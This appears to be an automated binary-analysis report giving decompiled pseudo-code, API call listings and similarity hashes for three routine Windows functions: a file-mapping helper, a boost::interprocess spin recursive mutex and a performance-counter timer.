Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Strings

.,, xrefs: 00073107
true, xrefs: 000730D9
false, xrefs: 000730A0

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Concurrency::cancel_current_task$Exception@8GetcvtThrow$ExceptionRaisenumpunct
String ID: .,$false$true
API String ID: 1079820666-276263365
Opcode ID: af2f57ab9dc84e5ae4772e01a66694468be43b5c7ad9a93a13de7404c6afe4a1
Instruction ID: 298e25011fbc8da6bdcd49a2876d8324ab82bda74841cc6b0165de7d084ab22c
Opcode Fuzzy Hash: af2f57ab9dc84e5ae4772e01a66694468be43b5c7ad9a93a13de7404c6afe4a1
Instruction Fuzzy Hash: 53412931E042408FDB14DF68C9417AABBF5EB85710F14C16EDC595B386C77B9905CBA1

Uniqueness

Uniqueness Score: 100.00%

Function 0007D0D0, Relevance: 15.2, APIs: 10, Instructions: 176
fileUNIQUE

Download Yara Rule

C-Code - Quality: 51%

			E0007D0D0(long* __ecx, long* _a4, long _a8) {
				void* _v8;
				char _v16;
				intOrPtr _v20;
				signed int _v24;
				struct _SYSTEM_INFO _v60;
				char _v68;
				char _v112;
				void* _v116;
				char _v120;
				void* _v124;
				char _v128;
				long _v132;
				long _v136;
				char _v144;
				intOrPtr* _v160;
				long _v172;
				char _v180;
				intOrPtr _v184;
				intOrPtr _v188;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t51;
				signed int _t52;
				char* _t56;
				char* _t58;
				signed int _t61;
				intOrPtr _t64;
				intOrPtr* _t68;
				long _t70;
				long _t74;
				long _t78;
				long _t86;
				long _t88;
				long* _t92;
				long _t96;
				char* _t97;
				intOrPtr* _t100;
				char* _t105;
				long* _t113;
				char* _t115;
				char* _t116;
				intOrPtr* _t117;
				void* _t118;
				intOrPtr _t119;
				long _t123;
				intOrPtr _t124;
				signed int _t127;
				void* _t129;
				signed int _t130;
				void* _t132;

				_push(0xffffffff);
				_push(0x12fde8);
				_push( *[fs:0x0]);
				_t130 = _t129 - 0x80;
				_t51 =  *0x16f170; // 0xd529e887
				_t52 = _t51 ^ _t127;
				_v24 = _t52;
				_push(_t118);
				_push(_t52);
				 *[fs:0x0] =  &_v16;
				_t92 = __ecx;
				_t96 = _a8;
				 *__ecx = 0;
				__ecx[1] = 0;
				__ecx[2] = 0;
				__ecx[3] = _t96;
				__ecx[4] = 0xffffffff;
				_t123 =  *_a4;
				_v116 = _t123;
				_t132 = _t96 - 0xc0000001;
				if(_t132 > 0) {
					__eflags = _t96 - 0xc0000002;
					if(_t96 != 0xc0000002) {
						goto L25;
					} else {
						goto L7;
					}
				} else {
					if(_t132 == 0) {
						_t118 = 1;
						goto L8;
					} else {
						if(_t96 == 0x80000000) {
							L7:
							_t118 = 4;
							goto L8;
						} else {
							if(_t96 != 0xc0000000) {
								L25:
								_t97 =  &_v128;
								E000556A0(_t97, 0x11);
								_push(_t97);
								_t56 = _t97;
								goto L26;
							} else {
								_t118 = 2;
								L8:
								_v124 = 0xffffffff;
								_v8 = 0;
								if( *0x17a624 == 0) {
									GetSystemInfo( &_v60);
								}
								_t68 = E000641A0(4);
								_push(0);
								_push(0x10);
								_push( &_v144);
								_push(0);
								_push(_t123);
								if( *_t68() == 0) {
									_t70 = _v132;
									__eflags = _t70;
									if(__eflags < 0) {
										L24:
										_t105 =  &_v120;
										E000556A0(_t105, 0x12);
										_push(_t105);
										E000557B0(_t92,  &_v112, _t118, _t123, _t105);
										_push(0x16cb2c);
										_t58 =  &_v112;
										goto L27;
									} else {
										_t123 = _v136;
										if(__eflags > 0) {
											L16:
											if(__eflags > 0) {
												goto L24;
											} else {
												if(__eflags < 0) {
													L19:
													_t74 = MapViewOfFileEx(_v116, _t118, 0, 0, _t123, 0);
													__eflags = _t74;
													if(_t74 != 0) {
														 *_t92 = _t74;
														_t92[2] = 0;
														_t92[1] = _t123;
														_v8 = 0xffffffff;
														CloseHandle(0xffffffff);
														_t123 = GetCurrentProcess;
														_t118 = GetCurrentProcess();
														_t78 = DuplicateHandle(GetCurrentProcess(), _v116, _t118,  &(_t92[4]), 0, 0, 2);
														__eflags = _t78;
														if(_t78 != 0) {
															 *[fs:0x0] = _v16;
															__eflags = _v24 ^ _t127;
															return E000ECED8(_v24 ^ _t127);
														} else {
															E000556C0( &_v128, GetLastError());
															_t113 = _t92;
															E00055C00(_t113);
															_push(_t113);
															E000557B0(_t92,  &_v112, _t118, GetCurrentProcess,  &_v128);
															_push(0x16cb2c);
															_t58 =  &_v112;
															goto L27;
														}
													} else {
														_t86 = GetLastError();
														_t115 =  &_v120;
														E000556C0(_t115, _t86);
														_push(_t115);
														_t56 = _t115;
														goto L26;
													}
												} else {
													__eflags = _t123 - 0xffffffff;
													if(_t123 > 0xffffffff) {
														goto L24;
													} else {
														goto L19;
													}
												}
											}
										} else {
											__eflags = _t123;
											if(_t123 < 0) {
												goto L24;
											} else {
												__eflags = _t70;
												goto L16;
											}
										}
									}
								} else {
									_t88 = GetLastError();
									_t116 =  &_v120;
									E000556C0(_t116, _t88);
									_push(_t116);
									_t56 = _t116;
									L26:
									E000557B0(_t92,  &_v68, _t118, _t123, _t56);
									_push(0x16cb2c);
									_t58 =  &_v68;
									L27:
									_push(_t58);
									E001047B7();
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									_push(_t127);
									_push(0xffffffff);
									_push(0x12fe18);
									_push( *[fs:0x0]);
									_push(_t92);
									_push(_t123);
									_push(_t118);
									_t61 =  *0x16f170; // 0xd529e887
									_push(_t61 ^ _t130);
									 *[fs:0x0] =  &_v180;
									_v184 = _t130 - 8;
									_t64 = E0007EE20();
									_v172 = 0;
									_t124 = _t64;
									_t117 = _v160;
									_t40 = _t124 + 0x18; // 0x18
									_t119 = _t40;
									_v188 = _t124;
									_v160 = _t119;
									 *((short*)(_t124 + 0xc)) = 0;
									 *((intOrPtr*)(_t124 + 0x10)) =  *_t117;
									 *(_t119 + 0x24) = 0;
									_v172 = 1;
									_t100 =  *((intOrPtr*)(_t117 + 0x2c));
									if(_t100 != 0) {
										 *(_t119 + 0x24) =  *((intOrPtr*)( *_t100))(_t119);
									}
									 *[fs:0x0] = _v20;
									return _t124;
								}
							}
						}
					}
				}
			}

0x0007d0d3
0x0007d0d5
0x0007d0e0
0x0007d0e1
0x0007d0e7
0x0007d0ec
0x0007d0ee
0x0007d0f3
0x0007d0f4
0x0007d0f8
0x0007d0fe
0x0007d103
0x0007d106
0x0007d10c
0x0007d113
0x0007d11a
0x0007d11d
0x0007d124
0x0007d126
0x0007d129
0x0007d12f
0x0007d155
0x0007d15b
0x00000000
0x00000000
0x00000000
0x00000000
0x0007d131
0x0007d131
0x0007d14e
0x00000000
0x0007d133
0x0007d139
0x0007d161
0x0007d161
0x00000000
0x0007d13b
0x0007d141
0x0007d2c0
0x0007d2c2
0x0007d2c5
0x0007d2ca
0x0007d2cb
0x00000000
0x0007d147
0x0007d147
0x0007d166
0x0007d166
0x0007d16d
0x0007d17b
0x0007d181
0x0007d181
0x0007d18c
0x0007d191
0x0007d193
0x0007d19b
0x0007d19c
0x0007d19e
0x0007d1a3
0x0007d1bb
0x0007d1be
0x0007d1c0
0x0007d2a0
0x0007d2a2
0x0007d2a5
0x0007d2aa
0x0007d2b1
0x0007d2b6
0x0007d2bb
0x00000000
0x0007d1c6
0x0007d1c6
0x0007d1cc
0x0007d1d8
0x0007d1d8
0x00000000
0x0007d1de
0x0007d1de
0x0007d1e9
0x0007d1f4
0x0007d1fa
0x0007d1fc
0x0007d216
0x0007d218
0x0007d21f
0x0007d222
0x0007d229
0x0007d22f
0x0007d237
0x0007d24a
0x0007d250
0x0007d252
0x0007d285
0x0007d293
0x0007d29d
0x0007d254
0x0007d25d
0x0007d262
0x0007d264
0x0007d269
0x0007d271
0x0007d276
0x0007d27b
0x00000000
0x0007d27b
0x0007d1fe
0x0007d1fe
0x0007d204
0x0007d207
0x0007d20c
0x0007d20d
0x00000000
0x0007d20d
0x0007d1e0
0x0007d1e0
0x0007d1e3
0x00000000
0x00000000
0x00000000
0x00000000
0x0007d1e3
0x0007d1de
0x0007d1ce
0x0007d1ce
0x0007d1d0
0x00000000
0x0007d1d6
0x0007d1d6
0x00000000
0x0007d1d6
0x0007d1d0
0x0007d1cc
0x0007d1a5
0x0007d1a5
0x0007d1ab
0x0007d1ae
0x0007d1b3
0x0007d1b4
0x0007d2cd
0x0007d2d1
0x0007d2d6
0x0007d2db
0x0007d2de
0x0007d2de
0x0007d2df
0x0007d2e4
0x0007d2e5
0x0007d2e6
0x0007d2e7
0x0007d2e8
0x0007d2e9
0x0007d2ea
0x0007d2eb
0x0007d2ec
0x0007d2ed
0x0007d2ee
0x0007d2ef
0x0007d2f0
0x0007d2f3
0x0007d2f5
0x0007d300
0x0007d304
0x0007d305
0x0007d306
0x0007d307
0x0007d30e
0x0007d312
0x0007d318
0x0007d31b
0x0007d320
0x0007d327
0x0007d329
0x0007d32c
0x0007d32c
0x0007d32f
0x0007d332
0x0007d335
0x0007d33d
0x0007d340
0x0007d347
0x0007d34b
0x0007d350
0x0007d357
0x0007d357
0x0007d35f
0x0007d36d
0x0007d36d
0x0007d1a3
0x0007d141
0x0007d139
0x0007d131

APIs

GetSystemInfo.KERNEL32(?,D529E887,?,00000000,00000000), ref: 0007D181

Part of subcall function 000641A0: SwitchToThread.KERNEL32 ref: 000641DA
Part of subcall function 000641A0: Sleep.KERNEL32(00000001), ref: 000641E9
Part of subcall function 000641A0: SwitchToThread.KERNEL32 ref: 00064244
Part of subcall function 000641A0: Sleep.KERNEL32(00000001), ref: 00064253
Part of subcall function 000641A0: GetModuleHandleA.KERNEL32 ref: 00064276
Part of subcall function 000641A0: GetProcAddress.KERNEL32(?), ref: 0006429A

GetLastError.KERNEL32(?,00000000,00000000), ref: 0007D1A5
MapViewOfFileEx.KERNEL32(?,00000004,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0007D1F4
GetLastError.KERNEL32(?,00000000,00000000), ref: 0007D1FE
CloseHandle.KERNEL32(000000FF), ref: 0007D229
GetCurrentProcess.KERNEL32(?,00000000,00000000), ref: 0007D235
GetCurrentProcess.KERNEL32(?,00000000,00000000), ref: 0007D239
DuplicateHandle.KERNEL32(00000000,?,00000000,?,00000000,00000000,00000002), ref: 0007D24A
GetLastError.KERNEL32(?,00000000,00000000), ref: 0007D254

Part of subcall function 00055C00: UnmapViewOfFile.KERNEL32(?,7757D950,0007D269,?,00000000,00000000), ref: 00055C0D
Part of subcall function 00055C00: CloseHandle.KERNEL32(?), ref: 00055C22

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Part of subcall function 000557B0: FormatMessageA.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000,?,?,?,?,?,?,?,0012CEE3,000000FF), ref: 0005583B
Part of subcall function 000557B0: LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,0012CEE3,000000FF), ref: 00055852

__CxxThrowException@8.LIBVCRUNTIME ref: 0007D2DF

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Handle$ErrorLast$CloseCurrentFileProcessSleepSwitchThreadView$AddressDuplicateExceptionException@8FeatureFormatFreeInfoLocalMessageModulePresentProcProcessorRaiseSystemThrowUnmap___raise_securityfailure
String ID:
API String ID: 3694570474-0
Opcode ID: 6c9a6cd0ac389ad44a9e890dc353fe4909f40ec2241f8fe3abef7f7a25bbd3d4
Instruction ID: 30541ce1284e55fe76620e3bdcd7d085d853fd063a5ceea10e668a0f4af097c0
Opcode Fuzzy Hash: 6c9a6cd0ac389ad44a9e890dc353fe4909f40ec2241f8fe3abef7f7a25bbd3d4
Instruction Fuzzy Hash: AA51C871E00204ABDB24DF64CC55BEE77B8EF14321FA0811EF919A71D2DB78A945CB58

Uniqueness

Uniqueness Score: 100.00%

Function 00055FA0, Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 157
sleepthreadUNIQUE

Download Yara Rule

C-Code - Quality: 41%

			E00055FA0(void* __ebx, intOrPtr* __ecx, void* __edx) {
				signed int _v8;
				char _v52;
				signed int _v64;
				signed int _v68;
				char _v76;
				long _v80;
				signed int _v88;
				long _v92;
				intOrPtr _v96;
				struct _SYSTEM_INFO _v132;
				intOrPtr _v148;
				void* __edi;
				void* __ebp;
				signed int _t45;
				intOrPtr* _t52;
				signed int _t53;
				long _t54;
				void* _t55;
				long _t56;
				signed int _t60;
				long _t65;
				signed int _t69;
				intOrPtr* _t81;
				signed int _t89;
				intOrPtr* _t93;
				void* _t96;
				void* _t97;
				long _t98;
				signed int _t99;
				intOrPtr* _t101;
				signed int _t105;
				intOrPtr* _t113;
				intOrPtr _t114;
				signed int _t119;
				signed int _t124;

				_t96 = __edx;
				_t119 = _t124;
				_t45 =  *0x16f170; // 0xd529e887
				_v8 = _t45 ^ _t119;
				_push(_t97);
				_t81 = __ecx;
				_v80 = GetCurrentThreadId();
				_v96 =  *((intOrPtr*)(_t81 + 8));
				if(_v80 != _v96) {
					_t98 = 1;
					asm("lock cmpxchg [ebx], ecx");
					__eflags =  *_t81 - 1;
					if( *_t81 != 1) {
						L5:
						asm("xorps xmm0, xmm0");
						_v68 = 0;
						asm("movlpd [ebp-0x48], xmm0");
						_v64 = 0;
						while(1) {
							asm("lock cmpxchg [ebx], ecx");
							__eflags =  *_t81 - 1;
							if( *_t81 != 1) {
								goto L8;
							}
							L7:
							__eflags = 0;
							if(0 != 0) {
								goto L8;
							}
							goto L31;
							L8:
							_t105 = _v64;
							__eflags = _t105;
							if(_t105 == 0) {
								_t60 =  *0x17a678; // 0x4
								__eflags = _t60;
								if(_t60 == 0) {
									GetSystemInfo( &_v132);
									_t60 = _v132.dwNumberOfProcessors;
								}
								__eflags = _t98 - _t60;
								asm("sbb esi, esi");
								_t105 = (_t105 & 0xffffffe0) + 0x20;
								__eflags = _t105;
								_v64 = _t105;
							}
							__eflags = _t105 - 8;
							if(_t105 < 8) {
								L22:
								_v64 = _t105 + 1;
								continue;
							} else {
								__eflags = _t105 - 0x20;
								if(__eflags >= 0) {
									if(__eflags != 0) {
										_t99 = _v68;
										__eflags = _t99;
										if(_t99 != 0) {
											_t52 = E000641A0(8);
											_t53 =  *_t52( &_v92);
											__eflags = _t53;
											if(_t53 != 0) {
												_t89 = _v88;
												_t54 = _v92;
											} else {
												_t54 = GetTickCount();
												_t89 = 0;
												_v92 = _t54;
												_v88 = 0;
											}
											_t55 = _t54 - _v76;
											asm("sbb ecx, [ebp-0x44]");
											__eflags = _t89;
											if(__eflags < 0) {
												goto L19;
											} else {
												if(__eflags > 0) {
													L29:
													_v68 = 0;
													goto L30;
												} else {
													__eflags = _t55 - _t99;
													if(_t55 < _t99) {
														goto L19;
													} else {
														goto L29;
													}
												}
											}
										} else {
											__eflags = _v64 & 0x00000001;
											if((_v64 & 0x00000001) == 0) {
												L30:
												Sleep(1);
												_t98 = 1;
												_v64 = _t105 + 1;
												while(1) {
													asm("lock cmpxchg [ebx], ecx");
													__eflags =  *_t81 - 1;
													if( *_t81 != 1) {
														goto L8;
													}
													goto L7;
												}
											} else {
												L19:
												_t56 = SwitchToThread();
												__eflags = _t56;
												if(_t56 == 0) {
													Sleep(_t56);
												}
												_t98 = 1;
												goto L22;
											}
										}
									} else {
										E00055A90( &_v76);
										_v64 = _v64 + 1;
										while(1) {
											asm("lock cmpxchg [ebx], ecx");
											__eflags =  *_t81 - 1;
											if( *_t81 != 1) {
												goto L8;
											}
											goto L7;
										}
									}
								} else {
									asm("pause");
									_v64 = _t105 + 1;
									while(1) {
										asm("lock cmpxchg [ebx], ecx");
										__eflags =  *_t81 - 1;
										if( *_t81 != 1) {
											goto L8;
										}
										goto L7;
									}
								}
							}
							goto L31;
						}
					} else {
						__eflags = 0;
						if(0 != 0) {
							goto L5;
						}
					}
					L31:
					 *((intOrPtr*)(_t81 + 8)) = _v80;
					 *(_t81 + 4) = 1;
					__eflags = _v8 ^ _t119;
					return E000ECED8(_v8 ^ _t119);
				} else {
					_t65 =  *(_t81 + 4) + 1;
					if(_t65 == 0) {
						_t93 =  &_v52;
						E00055700(_t93, "boost::interprocess::spin_recursive_mutex recursive lock overflow");
						E001047B7( &_v52, 0x16cb2c);
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(_t104);
						_t113 = _t93;
						_t69 = E000D7269(0x17a40c, E000735B0, 0x17a3a0);
						__eflags = _t69;
						if(_t69 == 0) {
							E0010F5C4(_t81, _t93, _t96, _t97);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t119);
							_push(_t113);
							_t114 = _v148;
							asm("xorps xmm0, xmm0");
							_push(_t97);
							_t101 = _t93;
							 *_t101 = 0x13a468;
							asm("movq [eax], xmm0");
							E001041DE(_t114 + 4, _t101 + 4);
							 *_t101 = 0x13ac14;
							 *((intOrPtr*)(_t101 + 0xc)) =  *((intOrPtr*)(_t114 + 0xc));
							 *((intOrPtr*)(_t101 + 0x10)) =  *((intOrPtr*)(_t114 + 0x10));
							 *_t101 = 0x151ab0;
							return _t101;
						} else {
							 *_t113 = GetLastError();
							 *((intOrPtr*)(_t113 + 4)) = 0x17a3a0;
							return _t113;
						}
					} else {
						 *(_t81 + 4) = _t65;
						return E000ECED8(_v8 ^ _t119);
					}
				}
			}

0x00055fa0
0x00055fa1
0x00055fa9
0x00055fb0
0x00055fb5
0x00055fb6
0x00055fbe
0x00055fc4
0x00055fcd
0x00055fef
0x00055ff8
0x00055ffc
0x00055ffe
0x00056008
0x00056008
0x0005600b
0x00056012
0x00056017
0x00056020
0x00056024
0x00056028
0x0005602b
0x00000000
0x00000000
0x0005602d
0x0005602d
0x0005602f
0x00000000
0x00000000
0x00000000
0x00056035
0x00056035
0x00056038
0x0005603a
0x0005603c
0x00056041
0x00056043
0x00056049
0x0005604f
0x0005604f
0x00056052
0x00056054
0x00056059
0x00056059
0x0005605c
0x0005605c
0x0005605f
0x00056062
0x000560a8
0x000560a9
0x00000000
0x00056064
0x00056064
0x00056067
0x00056071
0x00056084
0x00056087
0x00056089
0x000560b6
0x000560bf
0x000560c1
0x000560c3
0x000560d5
0x000560d8
0x000560c5
0x000560c5
0x000560cb
0x000560cd
0x000560d0
0x000560d0
0x000560db
0x000560de
0x000560e1
0x000560e3
0x00000000
0x000560e5
0x000560e5
0x000560eb
0x000560eb
0x00000000
0x000560e7
0x000560e7
0x000560e9
0x00000000
0x00000000
0x00000000
0x00000000
0x000560e9
0x000560e5
0x0005608b
0x0005608e
0x00056090
0x000560f2
0x000560f4
0x000560fb
0x00056100
0x00056020
0x00056024
0x00056028
0x0005602b
0x00000000
0x00000000
0x00000000
0x0005602b
0x00056092
0x00056092
0x00056092
0x00056098
0x0005609a
0x0005609d
0x0005609d
0x000560a3
0x00000000
0x000560a3
0x00056090
0x00056073
0x00056076
0x0005607f
0x00056020
0x00056024
0x00056028
0x0005602b
0x00000000
0x00000000
0x00000000
0x0005602b
0x00056020
0x00056069
0x00056069
0x0005606c
0x00056020
0x00056024
0x00056028
0x0005602b
0x00000000
0x00000000
0x00000000
0x0005602b
0x00056020
0x00056067
0x00000000
0x00056062
0x00056000
0x00056000
0x00056002
0x00000000
0x00000000
0x00056002
0x00056108
0x0005610b
0x00056113
0x0005611a
0x00056125
0x00055fcf
0x00055fd2
0x00055fd5
0x0005612b
0x0005612e
0x0005613c
0x00056141
0x00056142
0x00056143
0x00056144
0x00056145
0x00056146
0x00056147
0x00056148
0x00056149
0x0005614a
0x0005614b
0x0005614c
0x0005614d
0x0005614e
0x0005614f
0x00056150
0x00056160
0x00056162
0x0005616a
0x0005616c
0x00056181
0x00056186
0x00056187
0x00056188
0x00056189
0x0005618a
0x0005618b
0x0005618c
0x0005618d
0x0005618e
0x0005618f
0x00056190
0x00056193
0x00056194
0x00056197
0x0005619a
0x0005619b
0x000561a1
0x000561a7
0x000561af
0x000561b4
0x000561c0
0x000561c6
0x000561cb
0x000561d4
0x0005616e
0x00056174
0x00056178
0x00056180
0x00056180
0x00055fdb
0x00055fdb
0x00055fee
0x00055fee
0x00055fd5

APIs

GetCurrentThreadId.KERNEL32 ref: 00055FB8
GetSystemInfo.KERNEL32(?), ref: 00056049

Part of subcall function 00055A90: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00055B08
Part of subcall function 00055A90: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00055B17
Part of subcall function 00055A90: GetTickCount.KERNEL32(?,-00000001,?,A4C67FFF,00038D7E,?,?), ref: 00055B39

SwitchToThread.KERNEL32 ref: 00056092
Sleep.KERNEL32(00000000), ref: 0005609D

Part of subcall function 000641A0: SwitchToThread.KERNEL32 ref: 000641DA
Part of subcall function 000641A0: Sleep.KERNEL32(00000001), ref: 000641E9
Part of subcall function 000641A0: SwitchToThread.KERNEL32 ref: 00064244
Part of subcall function 000641A0: Sleep.KERNEL32(00000001), ref: 00064253
Part of subcall function 000641A0: GetModuleHandleA.KERNEL32 ref: 00064276
Part of subcall function 000641A0: GetProcAddress.KERNEL32(?), ref: 0006429A

GetTickCount.KERNEL32 ref: 000560C5
Sleep.KERNEL32(00000001), ref: 000560F4

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

__CxxThrowException@8.LIBVCRUNTIME ref: 0005613C

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Strings

boost::interprocess::spin_recursive_mutex recursive lock overflow, xrefs: 00056126

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: SleepThread$Switch$CountTickUnothrow_t@std@@@__ehfuncinfo$??2@$AddressCurrentExceptionException@8FeatureHandleInfoModulePresentProcProcessorRaiseSystemThrow___raise_securityfailure
String ID: boost::interprocess::spin_recursive_mutex recursive lock overflow
API String ID: 1679889113-1269487870
Opcode ID: b4e41a18896b0d4165602dbe9f72456cabce8992c25f95132dde97cc41e29a4d
Instruction ID: edef84852452f2db6a62e1a8906e620911067f446333d87757d131aef11c3f66
Opcode Fuzzy Hash: b4e41a18896b0d4165602dbe9f72456cabce8992c25f95132dde97cc41e29a4d
Instruction Fuzzy Hash: 40518331E002188BDF65DFA4D8947AFBBF5AF44312F945029EC46A7291DB729889CB81

Uniqueness

Uniqueness Score: 100.00%

Function 000D6700, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 130
UNIQUE

Download Yara Rule

C-Code - Quality: 45%

			E000D6700(void* __ebx) {
				struct %anon52 _v12;
				char _v16;
				signed int _v20;
				signed int _v24;
				char _v60;
				char _v64;
				char _v84;
				char _v88;
				struct %anon52 _v112;
				union _LARGE_INTEGER _v116;
				union _LARGE_INTEGER _v120;
				char _v124;
				signed int _v128;
				struct %anon52 _v224;
				signed int _v228;
				char _v236;
				intOrPtr _v244;
				signed int _t42;
				signed int _t43;
				void* _t49;
				void* _t51;
				signed int _t56;
				signed int _t57;
				signed int _t59;
				void* _t67;
				void* _t69;
				signed int _t74;
				void* _t95;
				signed int _t103;
				signed int _t104;
				void* _t106;
				void* _t107;
				signed int _t108;
				void* _t109;
				signed int _t110;

				_push(0xffffffff);
				_push(0x136600);
				_push( *[fs:0x0]);
				_t107 = _t106 - 0x64;
				_t42 =  *0x16f170; // 0xd529e887
				_t43 = _t42 ^ _t103;
				_v20 = _t43;
				_push(_t43);
				 *[fs:0x0] =  &_v16;
				_v116.LowPart = 0;
				_v112 = 0;
				if(QueryPerformanceCounter( &_v116) == 0) {
					_t49 = E000AD820(__ebx, _t95,  &_v84, GetLastError(), 0xa);
					_v12.HighPart.LowPart = 0;
					_t51 = E0006CC90( &(_v112.HighPart), "Timer: QueryPerformanceCounter failed with error ", _t49);
					_t108 = _t107 + 0x18;
					_v12.HighPart = 1;
					E00058FD0(6, _t51);
					E001047B7( &_v60, 0x168f54);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t103);
					_t104 = _t108;
					_push(0xffffffff);
					_push(0x13664e);
					_push( *[fs:0x0]);
					_t109 = _t108 - 0x64;
					_t56 =  *0x16f170; // 0xd529e887
					_t57 = _t56 ^ _t104;
					_v128 = _t57;
					_push(_t57);
					 *[fs:0x0] =  &_v124;
					_t59 =  *0x179078; // 0x0
					if((_t59 & 0x00000001) != 0) {
						goto L7;
					} else {
						 *0x179078 = _t59 | 0x00000001;
						_v12.LowPart = 0;
						_v120.LowPart = 0;
						_v116.LowPart = 0;
						if(QueryPerformanceFrequency( &_v120) == 0) {
							_t67 = E000AD820(__ebx, _t95,  &_v88, GetLastError(), 0xa);
							_v12.LowPart = 1;
							_t69 = E0006CC90( &_v112, "Timer: QueryPerformanceFrequency failed with error ", _t67);
							_t110 = _t109 + 0x18;
							_v12 = 2;
							E00058FD0(6, _t69);
							E001047B7( &_v64, 0x168f54);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t104);
							_push(0xfffffffe);
							_push(0x1698f0);
							_push( &M00104660);
							_push( *[fs:0x0]);
							_push(__ebx);
							_t74 =  *0x16f170; // 0xd529e887
							_v228 = _v228 ^ _t74;
							_push(_t74 ^ _t110);
							 *[fs:0x0] =  &_v236;
							_v244 = _t110 - 8;
							_v224.LowPart = 0;
							asm("por xmm0, xmm0");
							_v224 = 0xfffffffe;
							 *[fs:0x0] = _v236;
							return 1;
						} else {
							 *0x179070 = _v120.LowPart;
							 *0x179074 = _v116.LowPart;
							L7:
							 *[fs:0x0] = _v20;
							return E000ECED8(_v24 ^ _t104);
						}
					}
				} else {
					 *[fs:0x0] = _v16;
					return E000ECED8(_v20 ^ _t103);
				}
			}

0x000d6703
0x000d6705
0x000d6710
0x000d6711
0x000d6714
0x000d6719
0x000d671b
0x000d671e
0x000d6722
0x000d672b
0x000d6733
0x000d6742
0x000d6770
0x000d6779
0x000d6786
0x000d678b
0x000d6794
0x000d6798
0x000d67a6
0x000d67ab
0x000d67ac
0x000d67ad
0x000d67ae
0x000d67af
0x000d67b0
0x000d67b1
0x000d67b3
0x000d67b5
0x000d67c0
0x000d67c1
0x000d67c4
0x000d67c9
0x000d67cb
0x000d67ce
0x000d67d2
0x000d67d8
0x000d67df
0x00000000
0x000d67e1
0x000d67e4
0x000d67ec
0x000d67f4
0x000d67fb
0x000d680a
0x000d6850
0x000d6859
0x000d6863
0x000d6868
0x000d6871
0x000d6875
0x000d6883
0x000d6888
0x000d6889
0x000d688a
0x000d688b
0x000d688c
0x000d688d
0x000d688e
0x000d688f
0x000d6890
0x000d6893
0x000d6895
0x000d689a
0x000d68a5
0x000d68a9
0x000d68ac
0x000d68b1
0x000d68b6
0x000d68ba
0x000d68c0
0x000d68c3
0x000d68ca
0x000d68ce
0x000d68da
0x000d68e8
0x000d680c
0x000d6812
0x000d6817
0x000d682a
0x000d682d
0x000d6842
0x000d6842
0x000d680a
0x000d6744
0x000d674d
0x000d6762
0x000d6762

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,000D0E42), ref: 000D673A
GetLastError.KERNEL32(0000000A,?,?,?,?,?,000D0E42), ref: 000D6765
__CxxThrowException@8.LIBVCRUNTIME ref: 000D67A6

